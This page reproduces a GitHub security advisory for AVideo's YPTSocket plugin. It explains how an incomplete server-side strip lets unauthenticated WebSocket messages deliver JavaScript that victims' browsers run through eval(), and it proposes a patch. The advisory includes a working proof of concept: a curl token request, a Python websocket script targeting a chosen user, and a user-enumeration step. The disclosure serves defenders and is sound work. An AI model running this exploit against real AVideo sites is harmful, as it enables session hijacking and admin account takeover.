GHSA-GHCV-22JF-VFXM

Vulnerability from github – Published: 2026-05-05 19:07 – Updated: 2026-05-13 14:19
VLAI?
Summary
AVideo has an Incomplete Fix for YPTSocket autoEvalCodeOnHTML Strip: Unauthenticated Cross-User JavaScript Execution via `$msg['json']` Relay Bypass
Details

Summary

The server-side mitigation for the YPTSocket autoEvalCodeOnHTML eval sink (prior advisory GHSA-gph2-j4c9-vhhr, commit c08694bf6) only strips the payload when it sits under $json['msg'], but the relay function msgToResourceId() selects the outbound message from $msg['json'] before $msg['msg']. An unauthenticated attacker can obtain a WebSocket token from plugin/YPTSocket/getWebSocket.json.php, connect to the WebSocket server, and send a message with autoEvalCodeOnHTML nested under a top-level json field — the strip branch is skipped, the relay delivers the payload verbatim to any logged-in user identified by to_users_id, and the client script runs it through eval().

Details

Entry point (unauthenticated)

plugin/YPTSocket/getWebSocket.json.php (lines 1–21) issues a valid WebSocket token to any caller, with no authentication or CSRF check:

$obj->webSocketToken = getEncryptedInfo(0);
$obj->webSocketURL = YPTSocket::getWebSocketURL();
die(json_encode($obj));

getEncryptedInfo() defaults to sentFrom = 'browser' and a non-CLI flag (plugin/YPTSocket/functions.php:3-47), so a token minted for an anonymous browser client will cause the strip branch below to run — which is exactly what we want to audit.

Incomplete strip (the fix from commit c08694bf6)

plugin/YPTSocket/Message.php:236-247:

// Strip eval-able fields from browser/guest messages.
if (empty($msgObj->isCommandLineInterface) && ($msgObj->sentFrom ?? '') !== 'php') {
    if (is_array($json['msg'] ?? null)) {
        unset($json['msg']['autoEvalCodeOnHTML']);          // <-- only strips $json['msg']
    }
    if (isset($json['callback']) && !preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', (string)$json['callback'])) {
        unset($json['callback']);
    }
}

If the incoming $json['msg'] is a scalar (e.g. the string "x"), is_array(...) is false and the strip is skipped entirely. Any eval-able content that lives elsewhere in $json passes through untouched. The same flawed check exists in plugin/YPTSocket/MessageSQLiteV2.php:285-293.

Relay preference picks the untouched field

plugin/YPTSocket/Message.php:316-322 (and the mirror at MessageSQLiteV2.php:396-402):

if (!empty($msg['json'])) {
    $obj['msg'] = $msg['json'];          // <-- preferred carrier; never stripped
} else if (!empty($msg['msg'])) {
    $obj['msg'] = $msg['msg'];
} else {
    $obj['msg'] = $msg;
}

An attacker payload shaped as {"msg": "x", "json": {"autoEvalCodeOnHTML": "<js>"}, "to_users_id": <victim>} therefore:

  1. Passes switch ($json->msg) into the default case (Message.php:211, 228).
  2. msgToArray($json) converts to array. The strip branch enters because sentFrom === 'browser', but is_array("x") is false and the strip is skipped.
  3. Routing lands on msgToUsers_id($json, $json['to_users_id']) (Message.php:253), which for each matching resource calls msgToResourceId($msg, $resourceId) (Message.php:379).
  4. In msgToResourceId, !empty($msg['json']) is true, so $obj['msg'] becomes {"autoEvalCodeOnHTML": "<js>"} (Message.php:316-317).
  5. The shouldPropagateInfo() check at Message.php:287-289 only logs — it does not return — so delivery proceeds regardless.

Client-side sink

plugin/YPTSocket/script.js:573-575:

if (json.msg?.autoEvalCodeOnHTML !== undefined) {
    eval(json.msg.autoEvalCodeOnHTML);
}

Any logged-in user with an active browser tab runs the attacker-supplied JavaScript in the origin of the AVideo installation.

Routing to any user

msgToUsers_id() (Message.php:362-389) looks up to_users_id against $this->clientsUsersId and relays to every resource belonging to that user. Because to_users_id comes straight from attacker input, any currently connected user (regular or admin) can be targeted. Active users_id values can be enumerated via the existing getClientsList request handled at Message.php:219-224 using the same unauthenticated token.

PoC

Step 1 — mint an unauthenticated WebSocket token:

curl -sk 'https://target/plugin/YPTSocket/getWebSocket.json.php'
# {"error":false,"webSocketToken":"<TOKEN>","webSocketURL":"wss://target:2053?webSocketToken=<TOKEN>&isCommandLine=0", ...}

Step 2 — connect and send the crafted message:

import json, ssl, websocket

TOKEN  = '<TOKEN>'          # from step 1
URL    = 'wss://target:2053?webSocketToken=' + TOKEN + '&isCommandLine=0'
VICTIM = 2                  # any logged-in users_id with an open tab

ws = websocket.create_connection(URL, sslopt={'cert_reqs': ssl.CERT_NONE})
payload = {
    'msg': 'x',                                                  # scalar -> strip branch skipped
    'webSocketToken': TOKEN,
    'json': {'autoEvalCodeOnHTML': "alert('XSS in '+document.domain)"},
    'to_users_id': VICTIM,
}
ws.send(json.dumps(payload))
ws.close()

Expected result: the victim's tab receives {"type":"DEFAULT_MESSAGE","msg":{"autoEvalCodeOnHTML":"alert(...)"}, ...} and executes the JavaScript via eval().

Optional Step 0 — enumerate active users (using the same token):

ws.send(json.dumps({'msg': 'getClientsList', 'webSocketToken': TOKEN}))
# response lists active users_id values

Impact

  • Unauthenticated XSS / arbitrary JS execution in any logged-in user's browser session. The victim only needs a tab open on the site — no click, no link, no CSRF.
  • Same-origin compromise: the attacker's JS runs in the target origin, so it can read DOM/tokens, make authenticated XHR calls on the victim's behalf, and exfiltrate session data.
  • Privilege escalation when an admin is targeted: arbitrary admin-panel actions via same-origin XHR — account takeover, plugin configuration changes, file uploads, etc.
  • Mass exploitation feasible: getClientsList (also reachable with the anonymous token) enumerates active users_id values, and the attacker can iterate to_users_id across all of them.
  • This is an incomplete fix for GHSA-gph2-j4c9-vhhr — deployments that patched to commit c08694bf6 remain exploitable.

Recommended Fix

Scrub autoEvalCodeOnHTML from every outbound carrier the relay may choose, not only from $json['msg']. Patch both plugin/YPTSocket/Message.php and plugin/YPTSocket/MessageSQLiteV2.php. For example, replace the current strip in onMessage():

if (empty($msgObj->isCommandLineInterface) && ($msgObj->sentFrom ?? '') !== 'php') {
    foreach (['msg', 'json'] as $k) {
        if (is_array($json[$k] ?? null)) {
            unset($json[$k]['autoEvalCodeOnHTML']);
        }
    }
    // also strip a top-level field so the fallback `$obj['msg'] = $msg` path is safe
    if (isset($json['autoEvalCodeOnHTML'])) {
        unset($json['autoEvalCodeOnHTML']);
    }
    if (isset($json['callback']) && !preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', (string)$json['callback'])) {
        unset($json['callback']);
    }
}

Additionally, harden the relay itself in msgToResourceId() (both files) so future regressions cannot reintroduce the sink — walk the chosen $obj['msg'] recursively and unset autoEvalCodeOnHTML whenever the message originated from a non-PHP, non-CLI client. As defense in depth, remove or gate the client-side eval(json.msg.autoEvalCodeOnHTML) at plugin/YPTSocket/script.js:573-575 behind a server-signed field rather than a plain JSON key.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43874"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T19:07:09Z",
    "nvd_published_at": "2026-05-11T21:19:02Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe server-side mitigation for the YPTSocket `autoEvalCodeOnHTML` eval sink (prior advisory GHSA-gph2-j4c9-vhhr, commit `c08694bf6`) only strips the payload when it sits under `$json[\u0027msg\u0027]`, but the relay function `msgToResourceId()` selects the outbound message from `$msg[\u0027json\u0027]` *before* `$msg[\u0027msg\u0027]`. An unauthenticated attacker can obtain a WebSocket token from `plugin/YPTSocket/getWebSocket.json.php`, connect to the WebSocket server, and send a message with `autoEvalCodeOnHTML` nested under a top-level `json` field \u2014 the strip branch is skipped, the relay delivers the payload verbatim to any logged-in user identified by `to_users_id`, and the client script runs it through `eval()`.\n\n## Details\n\n### Entry point (unauthenticated)\n\n`plugin/YPTSocket/getWebSocket.json.php` (lines 1\u201321) issues a valid WebSocket token to any caller, with no authentication or CSRF check:\n\n```php\n$obj-\u003ewebSocketToken = getEncryptedInfo(0);\n$obj-\u003ewebSocketURL = YPTSocket::getWebSocketURL();\ndie(json_encode($obj));\n```\n\n`getEncryptedInfo()` defaults to `sentFrom = \u0027browser\u0027` and a non-CLI flag (`plugin/YPTSocket/functions.php:3-47`), so a token minted for an anonymous browser client will cause the strip branch below to run \u2014 which is exactly what we want to audit.\n\n### Incomplete strip (the fix from commit c08694bf6)\n\n`plugin/YPTSocket/Message.php:236-247`:\n\n```php\n// Strip eval-able fields from browser/guest messages.\nif (empty($msgObj-\u003eisCommandLineInterface) \u0026\u0026 ($msgObj-\u003esentFrom ?? \u0027\u0027) !== \u0027php\u0027) {\n    if (is_array($json[\u0027msg\u0027] ?? null)) {\n        unset($json[\u0027msg\u0027][\u0027autoEvalCodeOnHTML\u0027]);          // \u003c-- only strips $json[\u0027msg\u0027]\n    }\n    if (isset($json[\u0027callback\u0027]) \u0026\u0026 !preg_match(\u0027/^[a-zA-Z_][a-zA-Z0-9_]*$/\u0027, (string)$json[\u0027callback\u0027])) {\n        unset($json[\u0027callback\u0027]);\n    }\n}\n```\n\nIf the incoming `$json[\u0027msg\u0027]` is a scalar (e.g. the string `\"x\"`), `is_array(...)` is false and the strip is skipped entirely. Any eval-able content that lives elsewhere in `$json` passes through untouched. The same flawed check exists in `plugin/YPTSocket/MessageSQLiteV2.php:285-293`.\n\n### Relay preference picks the untouched field\n\n`plugin/YPTSocket/Message.php:316-322` (and the mirror at `MessageSQLiteV2.php:396-402`):\n\n```php\nif (!empty($msg[\u0027json\u0027])) {\n    $obj[\u0027msg\u0027] = $msg[\u0027json\u0027];          // \u003c-- preferred carrier; never stripped\n} else if (!empty($msg[\u0027msg\u0027])) {\n    $obj[\u0027msg\u0027] = $msg[\u0027msg\u0027];\n} else {\n    $obj[\u0027msg\u0027] = $msg;\n}\n```\n\nAn attacker payload shaped as `{\"msg\": \"x\", \"json\": {\"autoEvalCodeOnHTML\": \"\u003cjs\u003e\"}, \"to_users_id\": \u003cvictim\u003e}` therefore:\n\n1. Passes `switch ($json-\u003emsg)` into the `default` case (Message.php:211, 228).\n2. `msgToArray($json)` converts to array. The strip branch enters because `sentFrom === \u0027browser\u0027`, but `is_array(\"x\")` is false and the strip is skipped.\n3. Routing lands on `msgToUsers_id($json, $json[\u0027to_users_id\u0027])` (Message.php:253), which for each matching resource calls `msgToResourceId($msg, $resourceId)` (Message.php:379).\n4. In `msgToResourceId`, `!empty($msg[\u0027json\u0027])` is true, so `$obj[\u0027msg\u0027]` becomes `{\"autoEvalCodeOnHTML\": \"\u003cjs\u003e\"}` (Message.php:316-317).\n5. The `shouldPropagateInfo()` check at Message.php:287-289 only logs \u2014 it does not return \u2014 so delivery proceeds regardless.\n\n### Client-side sink\n\n`plugin/YPTSocket/script.js:573-575`:\n\n```js\nif (json.msg?.autoEvalCodeOnHTML !== undefined) {\n    eval(json.msg.autoEvalCodeOnHTML);\n}\n```\n\nAny logged-in user with an active browser tab runs the attacker-supplied JavaScript in the origin of the AVideo installation.\n\n### Routing to any user\n\n`msgToUsers_id()` (Message.php:362-389) looks up `to_users_id` against `$this-\u003eclientsUsersId` and relays to every resource belonging to that user. Because `to_users_id` comes straight from attacker input, any currently connected user (regular or admin) can be targeted. Active users_id values can be enumerated via the existing `getClientsList` request handled at Message.php:219-224 using the same unauthenticated token.\n\n## PoC\n\nStep 1 \u2014 mint an unauthenticated WebSocket token:\n\n```bash\ncurl -sk \u0027https://target/plugin/YPTSocket/getWebSocket.json.php\u0027\n# {\"error\":false,\"webSocketToken\":\"\u003cTOKEN\u003e\",\"webSocketURL\":\"wss://target:2053?webSocketToken=\u003cTOKEN\u003e\u0026isCommandLine=0\", ...}\n```\n\nStep 2 \u2014 connect and send the crafted message:\n\n```python\nimport json, ssl, websocket\n\nTOKEN  = \u0027\u003cTOKEN\u003e\u0027          # from step 1\nURL    = \u0027wss://target:2053?webSocketToken=\u0027 + TOKEN + \u0027\u0026isCommandLine=0\u0027\nVICTIM = 2                  # any logged-in users_id with an open tab\n\nws = websocket.create_connection(URL, sslopt={\u0027cert_reqs\u0027: ssl.CERT_NONE})\npayload = {\n    \u0027msg\u0027: \u0027x\u0027,                                                  # scalar -\u003e strip branch skipped\n    \u0027webSocketToken\u0027: TOKEN,\n    \u0027json\u0027: {\u0027autoEvalCodeOnHTML\u0027: \"alert(\u0027XSS in \u0027+document.domain)\"},\n    \u0027to_users_id\u0027: VICTIM,\n}\nws.send(json.dumps(payload))\nws.close()\n```\n\nExpected result: the victim\u0027s tab receives `{\"type\":\"DEFAULT_MESSAGE\",\"msg\":{\"autoEvalCodeOnHTML\":\"alert(...)\"}, ...}` and executes the JavaScript via `eval()`.\n\nOptional Step 0 \u2014 enumerate active users (using the same token):\n\n```python\nws.send(json.dumps({\u0027msg\u0027: \u0027getClientsList\u0027, \u0027webSocketToken\u0027: TOKEN}))\n# response lists active users_id values\n```\n\n## Impact\n\n- **Unauthenticated XSS / arbitrary JS execution in any logged-in user\u0027s browser session.** The victim only needs a tab open on the site \u2014 no click, no link, no CSRF.\n- **Same-origin compromise:** the attacker\u0027s JS runs in the target origin, so it can read DOM/tokens, make authenticated XHR calls on the victim\u0027s behalf, and exfiltrate session data.\n- **Privilege escalation when an admin is targeted:** arbitrary admin-panel actions via same-origin XHR \u2014 account takeover, plugin configuration changes, file uploads, etc.\n- **Mass exploitation feasible:** `getClientsList` (also reachable with the anonymous token) enumerates active `users_id` values, and the attacker can iterate `to_users_id` across all of them.\n- This is an incomplete fix for GHSA-gph2-j4c9-vhhr \u2014 deployments that patched to commit `c08694bf6` remain exploitable.\n\n## Recommended Fix\n\nScrub `autoEvalCodeOnHTML` from **every** outbound carrier the relay may choose, not only from `$json[\u0027msg\u0027]`. Patch both `plugin/YPTSocket/Message.php` and `plugin/YPTSocket/MessageSQLiteV2.php`. For example, replace the current strip in `onMessage()`:\n\n```php\nif (empty($msgObj-\u003eisCommandLineInterface) \u0026\u0026 ($msgObj-\u003esentFrom ?? \u0027\u0027) !== \u0027php\u0027) {\n    foreach ([\u0027msg\u0027, \u0027json\u0027] as $k) {\n        if (is_array($json[$k] ?? null)) {\n            unset($json[$k][\u0027autoEvalCodeOnHTML\u0027]);\n        }\n    }\n    // also strip a top-level field so the fallback `$obj[\u0027msg\u0027] = $msg` path is safe\n    if (isset($json[\u0027autoEvalCodeOnHTML\u0027])) {\n        unset($json[\u0027autoEvalCodeOnHTML\u0027]);\n    }\n    if (isset($json[\u0027callback\u0027]) \u0026\u0026 !preg_match(\u0027/^[a-zA-Z_][a-zA-Z0-9_]*$/\u0027, (string)$json[\u0027callback\u0027])) {\n        unset($json[\u0027callback\u0027]);\n    }\n}\n```\n\nAdditionally, harden the relay itself in `msgToResourceId()` (both files) so future regressions cannot reintroduce the sink \u2014 walk the chosen `$obj[\u0027msg\u0027]` recursively and unset `autoEvalCodeOnHTML` whenever the message originated from a non-PHP, non-CLI client. As defense in depth, remove or gate the client-side `eval(json.msg.autoEvalCodeOnHTML)` at `plugin/YPTSocket/script.js:573-575` behind a server-signed field rather than a plain JSON key.",
  "id": "GHSA-ghcv-22jf-vfxm",
  "modified": "2026-05-13T14:19:18Z",
  "published": "2026-05-05T19:07:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-ghcv-22jf-vfxm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43874"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/9f3006f9a89a34daa67a83c6ad35f450cb91fcce"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-gph2-j4c9-vhhr"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo has an Incomplete Fix for YPTSocket autoEvalCodeOnHTML Strip: Unauthenticated Cross-User JavaScript Execution via `$msg[\u0027json\u0027]` Relay Bypass"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…